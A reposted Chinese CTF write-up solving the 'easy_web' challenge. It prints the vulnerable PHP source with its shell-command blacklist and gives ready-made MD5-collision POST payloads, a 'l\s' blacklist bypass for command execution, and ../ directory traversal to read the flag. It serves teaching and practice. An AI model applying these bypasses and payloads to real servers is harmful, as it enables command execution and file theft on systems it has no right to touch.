0


[青少年CTF] easy_web 详解+避坑

首先打开环境

查看源码

发现有个base64

解开后发现是图片源码

这让我联想到地址栏中的参数

发现它经过了两次base64编码和一次十六进制编码

Base64 在线编码解码 | Base64 加密解密 - Base64.us

CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换 (hiencode.com)

解开后发现是图片名

我们反向操作一波查看index.php的源码

696e6465782e706870

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

下面传参

进行base64解密

得到源码

  1. <?php
  2. error_reporting(E_ALL || ~ E_NOTICE);
  3. header('content-type:text/html;charset=utf-8');
  4. $cmd = $_GET['cmd'];
  5. if (!isset($_GET['img']) || !isset($_GET['cmd']))
  6. header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
  7. $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
  8. $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
  9. if (preg_match("/flag/i", $file)) {
  10. echo '<img src ="./ctf3.jpeg">';
  11. die("xixi~ no flag");
  12. } else {
  13. $txt = base64_encode(file_get_contents($file));
  14. echo "<img src='data:image/gif;base64," . $txt . "'></img>";
  15. echo "<br>";
  16. }
  17. echo $cmd;
  18. echo "<br>";
  19. if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
  20. echo("forbid ~");
  21. echo "<br>";
  22. } else {
  23. if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
  24. echo `$cmd`;
  25. } else {
  26. echo ("md5 is funny ~");
  27. }
  28. }
  29. ?>
  30. <html>
  31. <style>
  32. body{
  33. background:url(./bj.png) no-repeat center center;
  34. background-size:cover;
  35. background-attachment:fixed;
  36. background-color:#CCCCCC;
  37. }
  38. </style>
  39. <body>
  40. </body>
  41. </html>

代码审计

查看这里的关键代码

  1. echo $cmd;
  2. echo "<br>";
  3. if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
  4. echo("forbid ~");
  5. echo "<br>";
  6. } else {
  7. if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
  8. echo `$cmd`;
  9. } else {
  10. echo ("md5 is funny ~");
  11. }
  12. }
  13. ?>

发现是md5强碰撞
用网上现成的

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里坑就来了我们需要使用hackbar先进行一次post传递搭配burp抓包

post为任意字符

进行burp抓包

出现这样即为成功

接着我们将post参数替换成

  1. a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里可以将img=删除因为我们已经绕过了

右击在重发模块中发送

注意这里的回显结果不能出现md5 is funny ~

下面我们进行了l\s绕过

这样即为成功

下面在搭配../进行目录遍历

这里的%20是url编码是空格

这里发现了flag

我们打开它

这样就拿到了flag

希望小伙伴们可以一步一步的复现而不是直接填flag那样是没有效果滴!!!

标签: 安全

本文转载自: https://blog.csdn.net/m0_50553973/article/details/129502866
版权归原作者 MR.Ming_明裕学长 所有, 如有侵权,请联系我们删除。

“[青少年CTF] easy_web 详解+避坑”的评论:

还没有评论